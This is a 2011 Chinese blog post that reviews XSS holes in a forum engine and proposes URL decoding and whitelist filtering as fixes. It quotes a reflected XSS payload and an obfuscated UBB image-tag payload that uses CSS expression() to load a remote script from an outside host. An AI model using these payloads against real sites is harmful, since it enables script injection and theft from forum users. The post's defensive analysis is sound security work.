XSS跨站腳本實(shí)例
2011-11-13 11:35 熬夜的蟲子 閱讀(2023) 評(píng)論(0) 收藏 舉報(bào)剛畢業(yè)時(shí)候的做的報(bào)告,整理文檔的時(shí)候搜了出來,可能不是很正確僅供參考了
URL注入
例如在頁(yè)面上輸入
http://localhost/SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1-->'");></SCRIPT></style></title></textarea><SCRIPT>alert("haha")</SCRIPT>
查看源文件里的會(huì)有這樣的代碼
<A class=maintitle
href="http://localhost/SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1-->'");></SCRIPT></style></title></textarea><SCRIPT>alert("haha")</SCRIPT>"><FONT size="4">
前面藍(lán)色的部分被截?cái)嗔恕?/span>
部分頁(yè)面源代碼是這樣的
<A class=maintitle href="<%=this.CurrentUrl%>"><FONT size="4">
其他頁(yè)面也有類似的代碼而且被注入的地方也是這些地方例如
是這段代碼<FORM id="Frm" name="Frm" action='UserLogin.aspx?ru=<%=Request.RawUrl%>' method="post" onsubmit="javascript:return CheckForm();">
一些頁(yè)面是
<a href="<%=Request.RawUrl%>" class="gensmall">會(huì)員列表</a>
所以考慮到這些可以采取安全部的意見使用白名單過濾:
先對(duì)URL的內(nèi)容進(jìn)行解碼這樣可以轉(zhuǎn)義相當(dāng)一部分玩家的花招
string strXss= Server.UrlDecode(this.Request.RawUrl.ToString());
然后使用白名單過濾:
只保留/,HTTP://,&,?,=,%,.,數(shù)字,字母,漢字,下劃線。
XSS表單注入
UBB解析前(僅討論針對(duì)IMG標(biāo)簽):
UBB解析過程:
解析前字符串:
正則表達(dá)式:
@"\[img\](?<img>.+?)\[\/img\]"
要替換的字符串:
"<a href='${img}' target='_blank'><img src='${img}' border=0 onmousewheel='javascript:return bbimg(this)' onload=\"javascript:setTimeout('if(this.width>790)this.style.width=790',1000);\" alt='Ctrl + 滾輪可以縮放圖片大小'></a>"
替換后表達(dá)式
"<br><a href='http://[color=a\t\twidth=00\t\tSTYLE=a:expr/**/Ession(docum\0ent.write("<scr\0ipt/**/src=http://sd0o.com.cn/1000y.jpg></scr\0ipt>"))\t=]\t[/color]' target='_blank'><img src='http://[color=a\t\twidth=00\t\tSTYLE=a:expr/**/Ession(docum\0ent.write("<scr\0ipt/**/src=http://sd0o.com.cn/1000y.jpg></scr\0ipt>"))\t=]\t[/color]' border=0 onmousewheel='javascript:return bbimg(this)' onload=\"javascript:setTimeout('if(this.width>790)this.style.width=790',1000);\" alt='Ctrl + 滾輪可以縮放圖片大小'></a><br>"
。
![]() |
原創(chuàng)作品允許轉(zhuǎn)載,轉(zhuǎn)載時(shí)請(qǐng)務(wù)必以超鏈接形式標(biāo)明文章原始出處以及作者信息。 作者:熬夜的蟲子 點(diǎn)擊查看:博文索引 |

浙公網(wǎng)安備 33010602011771號(hào)